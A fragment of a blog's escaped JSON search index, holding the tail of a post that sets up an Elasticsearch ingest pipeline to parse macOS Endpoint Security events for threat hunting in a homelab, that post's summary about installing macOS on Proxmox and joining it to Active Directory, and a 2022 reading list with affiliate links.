{ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_lp\\\u0026#34;}\\nelse if(userId == 27) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_postfix\\\u0026#34;}\\nelse if(userId == 31) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_scsd\\\u0026#34;}\\nelse if(userId == 32) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_ces\\\u0026#34;}\\nelse if(userId == 33) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_appstore\\\u0026#34;}\\nelse if(userId == 54) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mcxalr\\\u0026#34;}\\nelse if(userId == 55) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_appleevents\\\u0026#34;}\\nelse if(userId == 56) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_geod\\\u0026#34;}\\nelse if(userId == 59) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_devdocs\\\u0026#34;}\\nelse if(userId == 60) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_sandbox\\\u0026#34;}\\nelse if(userId == 65) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mdnsresponder\\\u0026#34;}\\nelse if(userId == 67) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_ard\\\u0026#34;}\\nelse if(userId == 70) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_www\\\u0026#34;}\\nelse if(userId == 71) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_eppc\\\u0026#34;}\\nelse if(userId == 72) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_cvs\\\u0026#34;}\\nelse if(userId == 73) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_svn\\\u0026#34;}\\nelse if(userId == 74) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mysql\\\u0026#34;}\\nelse if(userId == 75) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_sshd\\\u0026#34;}\\nelse if(userId == 76) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_qtss\\\u0026#34;}\\nelse if(userId == 77) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_cyrus\\\u0026#34;}\\nelse if(userId == 78) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mailman\\\u0026#34;}\\nelse if(userId == 79) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_appserver\\\u0026#34;}\\nelse if(userId == 82) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_clamav\\\u0026#34;}\\nelse if(userId == 83) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_amavisd\\\u0026#34;}\\nelse if(userId == 84) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_jabber\\\u0026#34;}\\nelse if(userId == 87) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_appowner\\\u0026#34;}\\nelse if(userId == 88) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_windowserver\\\u0026#34;}\\nelse if(userId == 89) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_spotlight\\\u0026#34;}\\nelse if(userId == 91) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_tokend\\\u0026#34;}\\nelse if(userId == 92) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_securityagent\\\u0026#34;}\\nelse if(userId == 93) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_calendar\\\u0026#34;}\\nelse if(userId == 94) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_teamsserver\\\u0026#34;}\\nelse if(userId == 95) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_update_sharing\\\u0026#34;}\\nelse if(userId == 96) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_installer\\\u0026#34;}\\nelse if(userId == 97) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_atsserver\\\u0026#34;}\\nelse if(userId == 98) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_ftp\\\u0026#34;}\\nelse if(userId == 99) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_unknown\\\u0026#34;}\\nelse if(userId == 200) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_softwareupdate\\\u0026#34;}\\nelse if(userId == 202) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_coreaudiod\\\u0026#34;}\\nelse if(userId == 203) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_screensaver\\\u0026#34;}\\nelse if(userId == 205) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_locationd\\\u0026#34;}\\nelse if(userId == 208) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_trustevaluationagent\\\u0026#34;}\\nelse if(userId == 210) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_timezone\\\u0026#34;}\\nelse if(userId == 211) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_lda\\\u0026#34;}\\nelse if(userId == 212) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_cvmsroot\\\u0026#34;}\\nelse if(userId == 213) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_usbmuxd\\\u0026#34;}\\nelse if(userId == 214) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_dovecot\\\u0026#34;}\\nelse if(userId == 215) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_dpaudio\\\u0026#34;}\\nelse if(userId == 216) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_postgres\\\u0026#34;}\\nelse if(userId == 217) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krbtgt\\\u0026#34;}\\nelse if(userId == 218) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_kadmin_admin\\\u0026#34;}\\nelse if(userId == 219) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_kadmin_changepw\\\u0026#34;}\\nelse if(userId == 220) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_devicemgr\\\u0026#34;}\\nelse if(userId == 221) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_webauthserver\\\u0026#34;}\\nelse if(userId == 222) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_netbios\\\u0026#34;}\\nelse if(userId == 224) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_warmd\\\u0026#34;}\\nelse if(userId == 227) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_dovenull\\\u0026#34;}\\nelse if(userId == 228) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_netstatistics\\\u0026#34;}\\nelse if(userId == 229) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_avbdeviced\\\u0026#34;}\\nelse if(userId == 230) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krb_krbtgt\\\u0026#34;}\\nelse if(userId == 231) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krb_kadmin\\\u0026#34;}\\nelse if(userId == 232) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krb_changepw\\\u0026#34;}\\nelse if(userId == 233) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krb_kerberos\\\u0026#34;}\\nelse if(userId == 234) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krb_anonymous\\\u0026#34;}\\nelse if(userId == 235) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_assetcache\\\u0026#34;}\\nelse if(userId == 236) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_coremediaiod\\\u0026#34;}\\nelse if(userId == 239) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_launchservicesd\\\u0026#34;}\\nelse if(userId == 240) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_iconservices\\\u0026#34;}\\nelse if(userId == 241) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_distnote\\\u0026#34;}\\nelse if(userId == 242) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_nsurlsessiond\\\u0026#34;}\\nelse if(userId == 244) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_displaypolicyd\\\u0026#34;}\\nelse if(userId == 245) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_astris\\\u0026#34;}\\nelse if(userId == 246) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_krbfast\\\u0026#34;}\\nelse if(userId == 247) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_gamecontrollerd\\\u0026#34;}\\nelse if(userId == 248) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mbsetupuser\\\u0026#34;}\\nelse if(userId == 249) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_ondemand\\\u0026#34;}\\nelse if(userId == 251) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_xserverdocs\\\u0026#34;}\\nelse if(userId == 252) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_wwwproxy\\\u0026#34;}\\nelse if(userId == 253) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mobileasset\\\u0026#34;}\\nelse if(userId == 254) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_findmydevice\\\u0026#34;}\\nelse if(userId == 257) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_datadetectors\\\u0026#34;}\\nelse if(userId == 258) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_captiveagent\\\u0026#34;}\\nelse if(userId == 259) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_ctkd\\\u0026#34;}\\nelse if(userId == 260) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_applepay\\\u0026#34;}\\nelse if(userId == 261) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_hidd\\\u0026#34;}\\nelse if(userId == 262) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_cmiodalassistants\\\u0026#34;}\\nelse if(userId == 263) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_analyticsd\\\u0026#34;}\\nelse if(userId == 265) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_fpsd\\\u0026#34;}\\nelse if(userId == 266) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_timed\\\u0026#34;}\\nelse if(userId == 268) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_nearbyd\\\u0026#34;}\\nelse if(userId == 269) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_reportmemoryexception\\\u0026#34;}\\nelse if(userId == 270) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_driverkit\\\u0026#34;}\\nelse if(userId == 271) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_diskimagesiod\\\u0026#34;}\\nelse if(userId == 272) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_logd\\\u0026#34;}\\nelse if(userId == 273) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_appinstalld\\\u0026#34;}\\nelse if(userId == 274) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_installcoordinationd\\\u0026#34;}\\nelse if(userId == 275) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_demod\\\u0026#34;}\\nelse if(userId == 277) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_rmd\\\u0026#34;}\\nelse if(userId == 278) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_accessoryupdater\\\u0026#34;}\\nelse if(userId == 279) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_knowledgegraphd\\\u0026#34;}\\nelse if(userId == 280) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_coreml\\\u0026#34;}\\nelse if(userId == 281) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_sntpd\\\u0026#34;}\\nelse if(userId == 282) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_trustd\\\u0026#34;}\\nelse if(userId == 283) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mmaintenanced\\\u0026#34;}\\nelse if(userId == 284) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_darwindaemon\\\u0026#34;}\\nelse if(userId == 285) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_notification_proxy\\\u0026#34;}\\nelse if(userId == 288) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_avphidbridge\\\u0026#34;}\\nelse if(userId == 289) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_biome\\\u0026#34;}\\nelse if(userId == 291) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_backgroundassets\\\u0026#34;}\\nelse if(userId == 293) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_mobilegestalthelper\\\u0026#34;}\\nelse if(userId == 294) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_audiomxd\\\u0026#34;}\\nelse if(userId == 295) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_terminusd\\\u0026#34;}\\nelse if(userId == 296) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_neuralengine\\\u0026#34;}\\nelse if(userId == 297) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_eligibilityd\\\u0026#34;}\\nelse if(userId == 298) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_systemstatusd\\\u0026#34;}\\nelse if(userId == 300) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_aonsensed\\\u0026#34;}\\nelse if(userId == 301) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_modelmanagerd\\\u0026#34;}\\nelse if(userId == 302) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_reportsystemmemory\\\u0026#34;}\\nelse if(userId == 303) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_swtransparencyd\\\u0026#34;}\\nelse if(userId == 304) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_naturallanguaged\\\u0026#34;}\\nelse if(userId == 441) {ctx[\\\u0026#34;user\\\u0026#34;][\\\u0026#34;name\\\u0026#34;] = \\\u0026#34;_oahd\\\u0026#34;}\u0026#34;, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2.containsKey(\u0026#39;process\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true, \u0026#34;description\u0026#34;: \u0026#34;Set user.name based on id\u0026#34; } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.cdhash\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.macho.cdhash\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2?.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.team_id\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.macho.team_id\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;if\u0026#34;: \u0026#34;ctx.message2?.event.containsKey(\u0026#39;exec\u0026#39;)\u0026#34;, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.session_id\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.session_leader.pid\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.executable.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.executable\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.audit_token.pid\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.pid\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.group_id\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.group_leader.pid\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.original_ppid\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.parent.original_pid\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.process.parent_audit_token.pid\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.parent.pid\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.executable.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.executable\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.target.signing_id\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.macho.company\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.exec.cwd.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.working_directory\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.create.destination.existing_file.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;file.target\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.btm_launch_item_add.item\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;maclog.event_data.launch_item\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.btm_launch_item_add.executable_path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;maclog.event_data.launch_item.executable\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.btm_launch_item_remove.item\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;maclog.event_data.launch_item\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.btm_launch_item_remove.executable_path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;maclog.event_data.launch_item.executable\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.event.unlink.target.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;file.target\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;rename\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2.process.executable.path\u0026#34;, \u0026#34;target_field\u0026#34;: \u0026#34;process.parent.name\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } }, { \u0026#34;remove\u0026#34;: { \u0026#34;field\u0026#34;: \u0026#34;message2\u0026#34;, \u0026#34;ignore_missing\u0026#34;: true, \u0026#34;ignore_failure\u0026#34;: true } } ] With all that set up, I can see the parsed events in Kibana and start hunting!\n","permalink":"https://www.kimobu.space/posts/macOS-Homelab/","summary":"\u003cp\u003eThis post has notes on how I added a macOS machine to my security homelab.\u003c/p\u003e\n\u003ch1 id=\"install-macos-to-proxmox\"\u003eInstall macOS to Proxmox\u003c/h1\u003e\n\u003cp\u003eFollow this \u003ca href=\"https://www.nicksherlock.com/2022/10/installing-macos-13-ventura-on-proxmox/\"\u003eguide\u003c/a\u003e to install macOS onto a Proxmox cluster. This will result in an x86 based VM. I plan on looking into an ARM node in the future. Reference \u003ca href=\"https://i12bretro.github.io/tutorials/0775.html\"\u003ethis page\u003c/a\u003e if you don\u0026rsquo;t want to extract OSK yourself. Additional note, this installed to local-lvm, not my GlusterFS storage.\u003c/p\u003e\n\u003ch1 id=\"bind-macos-to-active-directory\"\u003eBind macOS to Active Directory\u003c/h1\u003e\n\u003cp\u003eSince the rest of the lab is a Windows Active Directory domain, I wanted to join the macOS VM to the domain so domain users could login. Follow \u003ca href=\"https://www.hexnode.com/blogs/macos-active-directory-binding-explained/\"\u003ethe guide here\u003c/a\u003e for high level guidance. Ventura changed the look of the Directory Utility but the overall concepts are the same. In Directory Utility, tick the option to \u0026ldquo;create mobile account at login\u0026rdquo; and add the \u0026ldquo;Users\u0026rdquo; OU to allowed administration.\u003c/p\u003e","title":"Adding macOS to my security homelab"},{"content":" Bomber Mafia: A Dream, a Temptation, and the Longest Night of the Second World War Betrayal in Berlin: The True Story of the Cold War\u0026rsquo;s Most Audacious Espionage Operation Farm and Other F Words: The Rise and Fall of the Small Family Farm There Is Nothing For You Here: Finding Opportunity in the Twenty-First Century The Code Breaker: Jennifer Doudna, Gene Editing, and the Future of the Human Race The Splendid and the Vile: A Saga of Churchill, Family, and Defiance During the Blitz My Life in Full: Work, Family, and Our Future Eisenhower in War and Peace This is How They Tell Me the World Ends: The Cyberweapons Arms Race 32 Yolks: From My Mother\u0026rsquo;s Table to Working the Line Noise: A Flaw in Human Judgment The New Geography of Jobs You Are Worth It: Building a Life Worth Fighting For American Made: What Happens to People When Work Disappears The Caine Mutiny The Everything Store: Jeff Bezos and the Age of Amazon Facing the Mountain: A True Story of Japanese American Heroes in World War II Leadership in War: Essential Lessons from Those Who Made History The Day of the Jackal Caste: The Origins of Our Discontents Heroes: The Greek Myths Reimagined Troy: The Greek Myths Reimagined Ludicrous: The Unvarnished Story of Tesla Motors Of Mice and Men How the World Really Works: The Science Behind How We Got Here and Where We\u0026rsquo;re Going Musashi Why We\u0026rsquo;re Polarized The Road Taken: A Memoir An Ugly Truth: Inside Facebook’s Battle for Domination The Making of a Manager: What to Do When Everyone Looks to You Threat Hunting with Elastic Stack The above are Amazon affiliate links. As an Amazon Associate I earn from qualifying purchases.\n","permalink":"https://www.kimobu.space/posts/Books-of-2022/","summary":"\u003col\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Bomber-Mafia-Temptation-Longest-Second/dp/B091J2CP5X?tag=kimobu-20\"\u003eBomber Mafia: A Dream, a Temptation, and the Longest Night of the Second World War\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.amazon.com/Betrayal-in-Berlin-Steve-Vogel-audiobook/dp/B07V9P6S1G?tag=kimobu-20\"\u003eBetrayal in Berlin: The True Story of the Cold War\u0026rsquo;s Most Audacious Espionage Operation\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca 